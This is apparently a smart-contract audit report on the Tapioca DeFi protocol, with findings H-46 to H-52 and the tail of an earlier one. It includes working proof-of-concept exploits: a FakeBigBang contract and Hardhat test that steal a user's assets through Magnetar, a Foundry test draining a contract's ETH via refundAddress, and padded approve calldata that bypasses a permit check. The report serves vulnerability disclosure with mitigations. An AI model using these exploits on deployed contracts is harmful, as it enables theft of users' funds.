details of the bug
The problem stems from the calculation error, where multiplies the user’s collateral share with EXCHANGE_RATE_PRECISION and collateralizationRate before calling yieldBox.toAmount.
It will give inflated amount, resulting in false solvency.
return
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
) >=
The same calculation happens in the Market::_computeMaxBorrowableAmount
In the BigBang’s liquidating logic (e.i. in the BigBang::_updateBorrowAndCollateralShare), the conversion from the share of collateral to the asset is calculated correctly:
uint256 collateralPartInAsset = (yieldBox.toAmount(
collateralId,
userCollateralShare[user],
false
) * EXCHANGE_RATE_PRECISION) / _exchangeRate;
However, the position in question will not get to this logic, even if BigBang::liquidate is called on the position, since the _isSolvent will falsely consider the position as solvent.
Similarly the Singularity will overestimate the collateral in the same manner.
function _computeAssetAmountToSolvency(
address user,
uint256 _exchangeRate
) private view returns (uint256) {
// accrue must have already been called!
uint256 borrowPart = userBorrowPart[user];
if (borrowPart == 0) return 0;
uint256 collateralShare = userCollateralShare[user];
Rebase memory _totalBorrow = totalBorrow;
uint256 collateralAmountInAsset = yieldBox.toAmount(
collateralId,
(collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
lqCollateralizationRate),
false
) / _exchangeRate;
// Obviously it's not `borrowPart` anymore but `borrowAmount`
borrowPart = (borrowPart * _totalBorrow.elastic) / _totalBorrow.base;
Recommended Mitigation Steps
The Market::_isSolvent and Market::_computeMaxBorrowableAmount should evaluate the value of collateral like BigBang::_updateBorrowAndCollateralShare function, (e.i. calculate the exchangeRate and collateralizationRate after converting the share to asset).
[H-46] TOFT leverageDown always fails if TOFT is a wrapper for native tokens
Submitted by windhustler
Pathway for sendForLeverage -> leverageDown always fails if the TapiocaOFT or mTapiocaOFT holds the native token as underlying, i.e. erc20 == address(0).
This results in loss of gas, airdropped amount, and burned TOFT on the sending side for the user.
The failed message if retried will always fail and result in permanent loss for the user.
Proof of Concept
TapiocaOFT/mTapiocaOFT is deployed with erc20 being address(0) in case if it holds the native token as an underlying token.
However, it still allows anyone to execute the sendForLeverage which always results in reverts when receiving the message.
The revert happens at IERC20(erc20).approve(externalData.swapper, amount); since address(0) doesn’t have an approve function.
The message if retried will just keep on reverting because of the same reason due to the way the failedMessages are stored, e.g. you can just retry the same exact payload.
This way anyone invoking this function will lose his TOFT tokens forever.
Recommended Mitigation Steps
Disable sendForLeverage function if the TapiocaOFT or mTapiocaOFT holds the native token as underlying, e.g. revert on the sending side.
[H-47] User’s assets can be stolen when removing them from the Singularity market through the Magnetar contract
Submitted by 0xStalin, also found by Ack
An Attacker can remove user’s assets from Singularity Markets and steal them to an account of his own by abusing a vulnerability present in the Magnetar contract
Proof of Concept
- The
Magnetar::exitPositionAndRemoveCollateral()can be used to exit from tOB, unlock from tOLP, remove assets from Singularity markets, repay on BigBang markets, remove collateral from BigBang markets and withdraw, each of these steps are optional. - When users wants to execute any operation through the Magnetar contract, the Magnetar contracts requires to have the user’s approvals/permissions, that means, when the Magnetar contract executes something on behalf of the user, the Magnetar contract have already been granted permission/allowance on the called contract on the user’s behalf.
- When using the Magnetar contract to remove user assets from the Singularity market and use those assets to repay in a BigBang contract, the Magnetar contract will receive the removed assets from the Singularity Market, grant ALL allowance to the BigBang contract in the YieldBox, and finally will call the BigBang.repay().
- The problem is that none of the two markets are checked to ensure that they are valid and supported contracts by the Protocol.
-
This attack requires that an attacker creates a FakeBigBang contract (see Step 2 of the Coded PoC mini section!), and passes the address of this Fake BigBang contract as the address of the BigBang where the repayment will be done.
-
When the execution is forwarded to the FakeBigBang contract, the Magnetar contract had already granted ALL allowance to this Fake contract in the YieldBox, which makes possible to do a
YieldBox.transfer()from the Magnetar contract to an account owned by the attacker.- The transferred assets from the Magnetar contract are the assets of the user that were removed from the Singularity market and that they were supposed to be used to repay the user’s debt on the BigBang contract
-
Coded PoC
- I coded a PoC using the
magnetar.test.tsfile as the base for this PoC. - The first step is to add the
attackeraccount in thetest.utils.tsfile
> git diff --no-index test.utils.ts testPoC.utils.ts
diff --git a/test.utils.ts b/testPoC.utils.ts
index 00fc388..83107e6 100755
--- a/test.utils.ts
+++ b/testPoC.utils.ts
@@ -1023,8 +1023,14 @@ export async function register(staging?: boolean) {
ethers.provider,
);
+ const attacker = new ethers.Wallet(
+ ethers.Wallet.createRandom().privateKey,
+ ethers.provider,
+ );
+
if (!staging) {
await setBalance(eoa1.address, 100000);
+ await setBalance(attacker.address, 100000);
}
// ------------------- Deploy WethUSDC mock oracle -------------------
@@ -1314,6 +1320,7 @@ export async function register(staging?: boolean) {
if (!staging) {
await setBalance(eoa1.address, 100000);
+ await setBalance(attacker.address, 100000);
}
const initialSetup = {
@@ -1341,6 +1348,7 @@ export async function register(staging?: boolean) {
_sglLeverageModule,
magnetar,
eoa1,
+ attacker,
multiSwapper,
singularityFeeTo,
liquidationQueue,
- Now, let’s create the
FakeBigBangcontract, make sure to create it under thetapioca-periph-audit/contract/folder
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// import "@boringcrypto/boring-solidity/contracts/libraries/BoringRebase.sol";
//YIELDBOX
import "tapioca-sdk/dist/contracts/YieldBox/contracts/YieldBox.sol";
import "./interfaces/IYieldBoxBase.sol";
import "./interfaces/IMarket.sol";
contract FakeBigBang {
// using RebaseLibrary for Rebase;
IMarket realSingularityMarket;
IYieldBoxBase public yieldBox;
/// @notice collateral token address
address public collateral;
/// @notice collateral token YieldBox id
uint256 public collateralId;
/// @notice asset token address
address public asset;
/// @notice asset token YieldBox id
uint256 public assetId;
uint256 public tOLPSglAssetId;
address magnetarContract;
function setMarket(address _realSingularityMarket) external {
realSingularityMarket = IMarket(_realSingularityMarket);
collateral = realSingularityMarket.collateral();
collateralId = realSingularityMarket.collateralId();
asset = realSingularityMarket.asset();
assetId = realSingularityMarket.assetId();
yieldBox = IYieldBoxBase(realSingularityMarket.yieldBox());
}
function setMagnetar(address _magnetar) external {
magnetarContract = _magnetar;
}
//@audit => This is the function that will be called by the Magnetar contract
//@audit => This contract will be granted all permission over the Mangetar contract in the YieldBox, which will allow it to transfer all that Magnetar owns to any address
//@audit-info => repay() will transfer the singularity.assetId() from the YieldBox!
function repay(
address from,
address to,
bool skim,
uint256 part
) external returns (uint256 amount) {
uint magnetarAssetBalance = yieldBox.balanceOf(magnetarContract,assetId);
yieldBox.transfer(magnetarContract, address(this), assetId, magnetarAssetBalance);
amount = type(uint256).max;
}
}
- Create a new file to reproduce this PoC, magnetarremoveassetsfromsingularity_PoC.test.ts
- Make sure to create this new test file under the
tapioca-periph-audit/test/folder
import { expect } from 'chai';
import hre, { ethers, config } from 'hardhat';
import { BN, register, getSGLPermitSignature } from './test.utils';
import {
loadFixture,
takeSnapshot,
} from '@nomicfoundation/hardhat-network-helpers';
describe('MagnetarV2', () => {
describe('repay', () => {
it('should remove asset from Singularity and Attacker will steal those assets', async () => {
const {
weth,
createWethUsd0Singularity,
wethBigBangMarket,
usd0,
usdc,
bar,
wethAssetId,
mediumRiskMC,
deployCurveStableToUsdoBidder,
initContracts,
yieldBox,
magnetar,
deployer,
attacker,
} = await loadFixture(register);
await initContracts();
const usdoStratregy = await bar.emptyStrategies(usd0.address);
const usdoAssetId = await yieldBox.ids(
1,
usd0.address,
usdoStratregy,
0,
);
const { stableToUsdoBidder } = await deployCurveStableToUsdoBidder(
deployer,
bar,
usdc,
usd0,
false,
);
const { wethUsdoSingularity } = await createWethUsd0Singularity(
deployer,
usd0,
weth,
bar,
usdoAssetId,
wethAssetId,
mediumRiskMC,
yieldBox,
stableToUsdoBidder,
ethers.utils.parseEther('1'),
false,
);
//@audit => Attacker deploys the FakeBigBang contract!
const fakeBigBang = await ethers.deployContract("FakeBigBang");
await fakeBigBang.setMarket(wethUsdoSingularity.address);
await fakeBigBang.setMagnetar(magnetar.address);
const borrowAmount = ethers.BigNumber.from((1e18).toString()).mul(
100,
);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await usd0.mint(deployer.address, borrowAmount.mul(2));
// We get asset
await weth.freeMint(wethMintVal);
// Approve tokens
// await approveTokensAndSetBarApproval();
await yieldBox.setApprovalForAll(wethUsdoSingularity.address, true);
await wethBigBangMarket.updateOperator(magnetar.address, true);
await weth.approve(magnetar.address, wethMintVal);
await wethUsdoSingularity.approve(
magnetar.address,
ethers.constants.MaxUint256,
);
await wethBigBangMarket.approveBorrow(
magnetar.address,
ethers.constants.MaxUint256,
);
await magnetar.mintFromBBAndLendOnSGL(
deployer.address,
borrowAmount,
{
mint: true,
mintAmount: borrowAmount,
collateralDepositData: {
deposit: true,
amount: wethMintVal,
extractFromSender: true,
},
},
{
deposit: false,
amount: 0,
extractFromSender: false,
},
{
lock: false,
amount: 0,
lockDuration: 0,
target: ethers.constants.AddressZero,
fraction: 0,
},
{
participate: false,
target: ethers.constants.AddressZero,
tOLPTokenId: 0,
},
{
singularity: wethUsdoSingularity.address,
magnetar: magnetar.address,
bigBang: wethBigBangMarket.address,
},
);
await usd0.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.depositAsset(
usdoAssetId,
deployer.address,
deployer.address,
borrowAmount,
0,
);
const wethCollateralBefore =
await wethBigBangMarket.userCollateralShare(deployer.address);
const fraction = await wethUsdoSingularity.balanceOf(
deployer.address,
);
const assetId = await wethUsdoSingularity.assetId();
console.log("asset in YieldBox owned by Magnetar - BEFORE: ", await yieldBox.balanceOf(magnetar.address,assetId));
console.log("asset in YieldBox owned by User - BEFORE: ", await yieldBox.balanceOf(deployer.address,assetId));
console.log("asset in YieldBox owned by FakeBigBang - BEFORE: ", await yieldBox.balanceOf(fakeBigBang.address,assetId));
//@audit => magnetar contract already has been approved by the deployer contract to perform the removed asset operation in the Singularity Market
//@audit => The `attacker` executed the attack over the `deployer` address
//@audit => attacker will remove assets from the deployer in the Singularity market, and will transfer those assets to an account of his own by using a FakeBigBang contract!
await magnetar.connect(attacker).exitPositionAndRemoveCollateral(
deployer.address,
{
magnetar: magnetar.address,
singularity: wethUsdoSingularity.address,
// bigBang: wethBigBangMarket.address,
bigBang: fakeBigBang.address,
},
{
removeAssetFromSGL: true,
removeShare: fraction.div(2),
repayAssetOnBB: true,
repayAmount: await yieldBox.toAmount(
usdoAssetId,
fraction.div(3),
false,
),
removeCollateralFromBB: false,
collateralShare: 0,
exitData: {
exit: false,
oTAPTokenID: 0,
target: ethers.constants.AddressZero,
},
unlockData: {
unlock: false,
target: ethers.constants.AddressZero,
tokenId: 0,
},
assetWithdrawData: {
withdraw: false,
withdrawAdapterParams: ethers.utils.toUtf8Bytes(''),
withdrawLzChainId: 0,
withdrawLzFeeAmount: 0,
withdrawOnOtherChain: false,
},
collateralWithdrawData: {
withdraw: false,
withdrawAdapterParams: ethers.utils.toUtf8Bytes(''),
withdrawLzChainId: 0,
withdrawLzFeeAmount: 0,
withdrawOnOtherChain: false,
},
},
);
console.log("\n\n=======================================================================\n\n");
console.log("asset in YieldBox owned by Magnetar - AFTER: ", await yieldBox.balanceOf(magnetar.address,assetId));
console.log("asset in YieldBox owned by User - AFTER: ", await yieldBox.balanceOf(deployer.address,assetId));
console.log("asset in YieldBox owned by FakeBigBang - AFTER: ", await yieldBox.balanceOf(fakeBigBang.address,assetId));
});
});
});
- After all the 3 previous steps have been completed, everything is ready to run the PoC.
npx hardhat test magnetarremoveassetsfromsingularity_PoC.test.ts
MagnetarV2
repay
asset in YieldBox owned by Magnetar - BEFORE: BigNumber { value: "0" }
asset in YieldBox owned by User - BEFORE: BigNumber { value: "10000000000000000000000000000" }
asset in YieldBox owned by FakeBigBang - BEFORE: BigNumber { value: "0" }
=======================================================================
asset in YieldBox owned by Magnetar - AFTER: BigNumber { value: "0" }
asset in YieldBox owned by User - AFTER: BigNumber { value: "10000000000000000000000000000" }
asset in YieldBox owned by FakeBigBang - AFTER: BigNumber { value: "5000000000000000000000000000" }
✔ should remove asset from Singularity and Attacker will steal those assets (14114ms)
Recommended Mitigation Steps
- Use the Penrose contract to validate that the provided markets as parameters are real markets supported by the protocol (Both, BB & Singularity markets)
- Add the below checks on the
_exitPositionAndRemoveCollateral()function
function _exitPositionAndRemoveCollateral(
address user,
ICommonData.ICommonExternalContracts calldata externalData,
IUSDOBase.IRemoveAndRepay calldata removeAndRepayData
) private {
+ require(penrose.isMarketRegistered(externalData.bigBang), "BigBang market is not a valid market supported by the protocol");
+ require(penrose.isMarketRegistered(externalData.singularity), "Singularity market is not a valid market supported by the protocol");
IMarket bigBang = IMarket(externalData.bigBang);
ISingularity singularity = ISingularity(externalData.singularity);
IYieldBoxBase yieldBox = IYieldBoxBase(singularity.yieldBox());
...
...
...
}
[H-48] triggerSendFrom() will send all the ETH in the destination chain where sendFrom() is called to the refundAddress in the LzCallParams argument
Submitted by 0x73696d616f
All the ETH in the destination chain where sendFrom() is called is sent to the refundAddress in the LzCallParams. Thus, for TapiocaOFTs which have ETH as the underlying asset erc, all the funds will be lost if the refundAddress is an address other than the TapiocaOFT.
Proof of Concept
sendFrom() uses the msg.value as native fees to LayerZero, being the excess sent refunded to the refundAddress. In BaseTOFTOptionsModule, sendFromDestination(), which is called when there was a triggerSendFrom() from a source chain which is delivered to the current chain, the value sent to the sendFrom() function is address(this).balance:
function sendFromDestination(bytes memory _payload) public {
...
ISendFrom(address(this)).sendFrom{value: address(this).balance}(
from,
lzDstChainId,
LzLib.addressToBytes32(from),
amount,
callParams
);
...
}
This means that all the balance but the LayerZero message fee will be refunded to the refundAddress in the callParams, as can be seen in the sendFrom() function:
function sendFrom(address _from, uint16 _dstChainId, bytes32 _toAddress, uint _amount, LzCallParams calldata _callParams) public payable virtual override {
_send(_from, _dstChainId, _toAddress, _amount, _callParams.refundAddress, _callParams.zroPaymentAddress, _callParams.adapterParams);
}
The following POC shows that a user that specifies the refundAddress as its address will receive all the ETH balance in the TapiocaOFT contract minus the LayerZero message fee.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTOptionsModule} from "contracts/tOFT/modules/BaseTOFTOptionsModule.sol";
import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
contract TapiocaOFTPOC is Test {
address public constant LZ_ENDPOINT =
0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
uint16 public constant PT_SEND_FROM = 778;
function test_POC_TriggerSendFrom_StealAllEth() public {
vm.createSelectFork("https://eth.llamarpc.com");
address optionsModule_ = address(new BaseTOFTOptionsModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));
TapiocaOFT tapiocaOft_ = new TapiocaOFT(
LZ_ENDPOINT,
address(0),
IYieldBoxBase(address(3)),
"SomeName",
"SomeSymbol",
18,
block.chainid,
payable(address(1)),
payable(address(2)),
payable(address(3)),
payable(optionsModule_)
);
address user_ = makeAddr("user");
deal(user_, 2 ether);
deal(address(tapiocaOft_), 10 ether);
vm.prank(user_);
tapiocaOft_.wrap{value: 1 ether}(user_, user_, 1 ether);
uint16 lzDstChainId_ = 102;
bytes memory airdropAdapterParams_;
address zroPaymentAddress_ = address(0);
uint256 amount_ = 1;
ISendFrom.LzCallParams memory sendFromData_;
sendFromData_.refundAddress = payable(user_);
ICommonData.IApproval[] memory approvals_;
tapiocaOft_.setTrustedRemoteAddress(102, abi.encodePacked(tapiocaOft_));
// triggerSendFrom goes through with refundAddress = user_ in the SendFrom call in the destination chain
vm.prank(user_);
tapiocaOft_.triggerSendFrom{value: 1 ether}(
lzDstChainId_,
airdropAdapterParams_,
zroPaymentAddress_,
amount_,
sendFromData_,
approvals_
);
bytes memory lzPayload_ = abi.encode(
PT_SEND_FROM,
user_,
amount_,
sendFromData_,
102,
approvals_
);
vm.prank(user_);
tapiocaOft_.approve(address(tapiocaOft_), amount_); // user has to approve the tOFT contract to spend their tokens in the SendFrom call
vm.prank(LZ_ENDPOINT);
tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
assertGt(user_.balance, 10 ether); // user received the whole balance of the tOFT contract due to the refund
}
}
Tools Used
Vscode, Foundry
Recommended Mitigation Steps
The value sent in the sendFrom() call in the BaseTOFTOptionsModule should be sent and forwarded from the triggerSendFrom() call in the source chain. This way, the user pays the fees from the source chain.
0xRektora (Tapioca) confirmed and commented:
Good finding. Technically speaking the
sendFrom()will fail if the call was made to the host chain, the one holding the Ether, since LZ have a limit to the amount of value you can send between chain, but nonetheless valid.
LSDan (Judge) decreased severity to Medium
0x73696d616f (Warden) commented:
Hi everyone,
This issue should be a valid high as there is no limit on the ETH transferred. The ETH is sent to the attacker (or normal user) on the refund of the LayerZero UltraLightNodeV2, here, in the source chain where
sendFrom()is called, not in the destination chain. The only cross chain transaction required for this exploit is thetriggerSendFrom(), which sends no ETH to the chain wheresendFrom()is called. Thus, the ETH is not actually sent as a cross chain transaction, but sent directly as a refund in the source chain (see the test in the POC) wheresendFrom()is called, not having any limit.Kindly request a review from the judge.
LSDan (Judge) increase severity to High and commented:
Thank you for the clarification. You are correct. This is a valid high risk issue.
[H-49] User can give himself approval for all assets held by MagnetarV2 contract
Submitted by 0xTheC0der, also found by Ack and dirk_y
When calling MagnetarV2._permit(…) through invoking a permit (or permit all) action via MagnetarV2.burst(…), one can also execute other calls than ERC20.permit(...) due to the following reasons / under the following constraints:
- The
targetaddress can be chosen freely, can be any contract, asset, token, NFT, etc. - The function selector in
actionCalldatais not checked, i.e. not required to beERC20.permit(...) - The first parameter in the encoded
actionCalldatamust be equal tomsg.sender - The length of the
actionCalldatashould match the length of an encoded call toERC20.permit(...)to avoid issues onabi.decode(...)
Given this information, an attacker can easily craft calls to give him approval for any assets held by the MagnetarV2 contract or directly invoke a transfer. There are potentially other malicious calls that can be crafted and executed via the permit action, therefore the mentioned approve/transfer calls are only an example.
In order for this to cause loss of funds for the DAO, the MagnetarV2 contract needs to hold (be the owner of) assets in the first place which seems likely since it is a main entry point and interacts with other important parts of the protocol like Singularity, BigBang, TapiocaOptionBroker and MagnetarMarketModule (trough delegatecall in some cases).
Proof of Concept
The following PoC is based on an existing test case and demonstrates that an attacker can give himself the approval of the MagnetarV2 contract for an ERC20 token.
Just apply the diff below in tapioca-periph-audit and run the test case with npx hardhat test test/magnetar.test.ts:
diff --git a/test/magnetar.test.ts b/test/magnetar.test.ts
index 63d108e..f32659d 100644
--- a/test/magnetar.test.ts
+++ b/test/magnetar.test.ts
@@ -439,7 +439,7 @@ describe('MagnetarV2', () => {
});
describe('permits', () => {
- it('should test an array of permits', async () => {
+ it.only('approve via permit action', async () => {
const { deployer, eoa1, magnetar } = await loadFixture(register);
const name = 'Token One';
@@ -486,39 +486,38 @@ describe('MagnetarV2', () => {
);
const signature = signTypedMessage(privateKey, { data });
const { v, r, s } = fromRpcSig(signature);
-
+
+ // Original permit calldata: user/deployer gives approval about value to eo1
const permitEncodedFnData = tokenOne.interface.encodeFunctionData(
'permit',
[deployer.address, eoa1.address, value, MAX_DEADLINE, v, r, s],
);
+
+ // Crafted approve calldata: magnetar gives approval about value to user/deployer
+ const approveEncodedFnData = tokenOne.interface.encodeFunctionData(
+ 'approve',
+ [deployer.address, value],
+ );
+
+ // Pad approve calldata to length of permit calldata, otherwise magnetar reverts when decoding
+ const approveEncodedFnDataPadded = approveEncodedFnData.padEnd(permitEncodedFnData.length, '0');
await magnetar.connect(deployer).burst([
{
- id: 2,
+ id: 2, // PERMIT
target: tokenOne.address,
value: 0,
allowFailure: false,
- call: permitEncodedFnData,
+ call: approveEncodedFnDataPadded, // provide padded approval calldata
},
]);
+ // Check if approval was successful
const allowance = await tokenOne.allowance(
+ magnetar.address,
deployer.address,
- eoa1.address,
);
expect(allowance.eq(value)).to.be.true;
-
- await expect(
- magnetar.connect(deployer).burst([
- {
- id: 2,
- target: tokenOne.address,
- value: 0,
- allowFailure: false,
- call: permitEncodedFnData,
- },
- ]),
- ).to.be.reverted;
});
});
Tools Used
VS Code, Hardhat
Recommended Mitigation Steps
Require the function selector (first 4 bytes of actionCalldata) to match an ERC*.permit(...) call in MagnetarV2._permit(…).
[H-50] CompoundStrategy attempts to transfer out a greater amount of ETH than will actually be withdrawn, leading to DoS
Submitted by kaden
Withdrawals will revert whenever there is not sufficient wrapped native tokens to cover loss from integer truncation.
Proof of Concept
CompoundStrategy._withdraw calculates the amount of cETH to redeem with cToken.exchangeRateStored based on a provided amount of ETH to receive from the withdrawal.
function _withdraw(
address to,
uint256 amount
) internal override nonReentrant {
uint256 available = _currentBalance();
require(available >= amount, "CompoundStrategy: amount not valid");
uint256 queued = wrappedNative.balanceOf(address(this));
if (amount > queued) {
uint256 pricePerShare = cToken.exchangeRateStored();
uint256 toWithdraw = (((amount - queued) * (10 ** 18)) /
pricePerShare);
cToken.redeem(toWithdraw);
To understand the vulnerability, we look at the CEther contract which we are attempting to withdraw from.
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of cTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeem(uint redeemTokens) external returns (uint) {
return redeemInternal(redeemTokens);
}
redeem returns the result from redeemInternal
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of cTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, redeemTokens, 0);
}
After accruing interest and checking for errors, redeemInternal returns the result from redeemFresh with the amount of tokens to redeem passed as the second param.
function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
...
/* exchangeRate = invoke Exchange Rate Stored() */
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
...
/* If redeemTokensIn > 0: */
if (redeemTokensIn > 0) {
/*
* We calculate the exchange rate and the amount of underlying to be redeemed:
* redeemTokens = redeemTokensIn
* redeemAmount = redeemTokensIn x exchangeRateCurrent
*/
vars.redeemTokens = redeemTokensIn;
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
}
...
vars.err = doTransferOut(redeemer, vars.redeemAmount);
...
}
redeemFresh retrieves the exchange rate (the same one that CompoundStrategy._withdraw uses to calculate the amount to redeem), and uses it to calculate vars.redeemAmount which is later transferred to the redeemer. This is the amount of underlying ETH that we are redeeming the CEther tokens for.
We can carefully copy over the logic used in CEther to calculate the amount of underlying ETH to receive, as well as the logic used in CompoundStrategy._withdraw to determine how many CEther to redeem for the desired output amount of underlying ETH, creating the following test contract in Remix.
pragma solidity 0.8.19;
contract MatchCalcs {
uint constant expScale = 1e18;
struct Exp {
uint mantissa;
}
function mulScalarTruncate(Exp memory a, uint scalar) pure external returns (uint) {
return truncate(mulScalar(a, scalar));
}
function mulScalar(Exp memory a, uint scalar) pure internal returns (Exp memory) {
uint256 scaledMantissa = mulUInt(a.mantissa, scalar);
return Exp({mantissa: scaledMantissa});
}
function mulUInt(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
if (c / a != b) {
return 0;
} else {
return c;
}
}
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
function getToWithdraw(uint256 amount, uint256 exchangeRate) pure external returns (uint) {
return amount * (10 ** 18) / exchangeRate;
}
}
We run the following example with the current exchangeRateStored (at the time of writing) of 200877136531571418792530957 and an output amount of underlying ETH to receive of 1e18 on the function getToWithdraw, receiving an output of 4978167337 CEther. This is the amount of CEther that would be passed to CEther.redeem.
Next we can see the output amount of underlying ETH according to CEthers logic. We pass the same exchangeRateStored value and the amount of CEther to redeem: 4978167337, receiving an output amount of 999999999831558306, less than the intended amount of 1e18.
Since we receive less than intended to receive from CEther.redeem, the _withdraw call likely fails at the following check:
require(
wrappedNative.balanceOf(address(this)) >= amount,
"CompoundStrategy: not enough"
);
Recommended Mitigation Steps
Rather than computing an amount of CEther to redeem, we can instead use the CEther.redeemUnderlying function to receive our intended amount of underlying ETH.
cryptotechmaker (Tapioca) confirmed
[H-51] Funds are locked because borrowFee is not correctly implemented in BigBang
Submitted by 0x007, also found by Koolex, 0xrugpull_detector, 0xnev, and SaeedAlipoor01988
There’s borrowOpeningFee for markets. In Singularity, this fee is accumulated over assets as a reward to asset depositors. In BigBang, assets is USD0 which would be minted and burned on borrow, and repay respectively. BigBang does not collect fees, because it uses the same mechanism as Singularity and therefore it would demand more than minted amount from user when it’s time to repay.
This results in a bird and egg situation where Users can’t fully repay a borrowed amount unless they borrow even more.
Proof of Concept
Let’s look at how borrow works
function _borrow(
address from,
address to,
uint256 amount
) internal returns (uint256 part, uint256 share) {
uint256 feeAmount = (amount * borrowOpeningFee) / FEE_PRECISION; // A flat % fee is charged for any borrow
(totalBorrow, part) = totalBorrow.add(amount + feeAmount, true);
require(
totalBorrowCap == 0 || totalBorrow.elastic <= totalBorrowCap,
"BigBang: borrow cap reached"
);
userBorrowPart[from] += part;
//mint USDO
IUSDOBase(address(asset)).mint(address(this), amount);
//deposit borrowed amount to user
asset.approve(address(yieldBox), amount);
yieldBox.depositAsset(assetId, address(this), to, amount, 0);
share = yieldBox.toShare(assetId, amount, false);
emit LogBorrow(from, to, amount, feeAmount, part);
}
As can be seen above, amount would be minted to user, but the userBorrowPart is amount + fee. When it’s time to repay, user have to return amount + fee in other to get all their collateral.
Assuming the user borrowed 1,000 USD0 and borrowOpeningFee is at the default value of 0.5%. Then the user’s debt would be 1,005. If there’s only 1 user, and the totalSupply is indeed 1,000, then there’s no other way for the user to get the extra 5 USD0. Therefore he can’t fully redeem his collateral and would have at least 5 * (1 + collateralizationRate) USD0 worth of collateral locked up. This fund cannot be accessed by the user, nor is it used by the protocol. It would be sitting at yieldbox forever earning yields for no one.
This issue becomes more significant when there are more users and minted amount. If more amount is minted more funds are locked.
It might seem like user Alice could go to the market to buy 5 USD0 to fully repay. But the reality is that he is transferring the unfortunate disaster to another user. Cause no matter what, Owed debts would always be higher than totalSupply.
This debt would keep accumulating after each mint and every burn. For example, assuming that one 1 billion of USD0 was minted and 990 million was burned in the first month. totalSupply and hence circulating supply would be 10 million, but user debts would be 15 million USD0. That’s 5 million USD that can’t be accessed by user nor fee collector.
Recommended Mitigation Steps
borrowOpeningFee should not be added to userBorrowPart. If fee is to implemented, then fee collector should receive collateral or USD0 token.
0xRektora (Tapioca) confirmed via duplicate issue 739
[H-52] Attacker can prevent rewards from being issued to gauges for a given epoch in TapiocaOptionBroker
Submitted by Ruhum, also found by 0xRobocop, bin2chen, KIntern_NA, carrotsmuggler, c7e7eff, 0xnev, glcanvas, marcKn, and dirk_y
An attacker can prevent rewards from being issued to gauges for a given epoch
Proof of Concept
TapOFT.emitForWeek() is callable by anyone. The function will only return a value > 0 the first time it’s called in any given week:
///-- Write methods --
/// @notice Emit the TAP for the current week
/// @return the emitted amount
function emitForWeek() external notPaused returns (uint256) {
require(_getChainId() == governanceChainIdentifier, "chain not valid");
uint256 week = _timestampToWeek(block.timestamp);
if (emissionForWeek[week] > 0) return 0;
// Update DSO supply from last minted emissions
dso_supply -= mintedInWeek[week - 1];
// Compute unclaimed emission from last week and add it to the current week emission
uint256 unclaimed = emissionForWeek[week - 1] - mintedInWeek[week - 1];
uint256 emission = uint256(_computeEmission());
emission += unclaimed;
emissionForWeek[week] = emission;
emit Emitted(week, emission);
return emission;
}
In TapiocaOptionBroker.newEpoch() the return value of emitForWeek() is used to determine the amount of tokens to distribute to the gauges. If the return value is 0, it will assign 0 reward tokens to each gauge:
/// @notice Start a new epoch, extract TAP from the TapOFT contract,
/// emit it to the active singularities and get the price of TAP for the epoch.
function newEpoch() external {
require(
block.timestamp >= lastEpochUpdate + EPOCH_DURATION,
"tOB: too soon"
);
uint256[] memory singularities = tOLP.getSingularities();
require(singularities.length > 0, "tOB: No active singularities");
// Update epoch info
lastEpochUpdate = block.timestamp;
epoch++;
// Extract TAP
// @audit `emitForWeek` can be called by anyone. If it's called for a given
// week, subsequent calls will return `0`.
//
// Attacker calls `emitForWeek` before it's executed through `newEpoch()`.
// The call to `newEpoch()` will cause `emitForWeek` to return `0`.
// That will prevent it from emitting any of the TAP to the gauges.
// For that epoch, no rewards will be distributed to users.
uint256 epochTAP = tapOFT.emitForWeek();
_emitToGauges(epochTAP);
// Get epoch TAP valuation
(, epochTAPValuation) = tapOracle.get(tapOracleData);
emit NewEpoch(epoch, epochTAP, epochTAPValuation);
}
An attacker who frontruns the call to newEpoch() with a call to emitForWeek() will prevent any rewards from being distributed for a given epoch.
The reward tokens aren’t lost. TapOFT will roll the missed epoch’s rewards into the next one. Meaning, the gauge rewards will be delayed. The length depends on the number of times the attacker is able to frontrun the call to newEpoch().
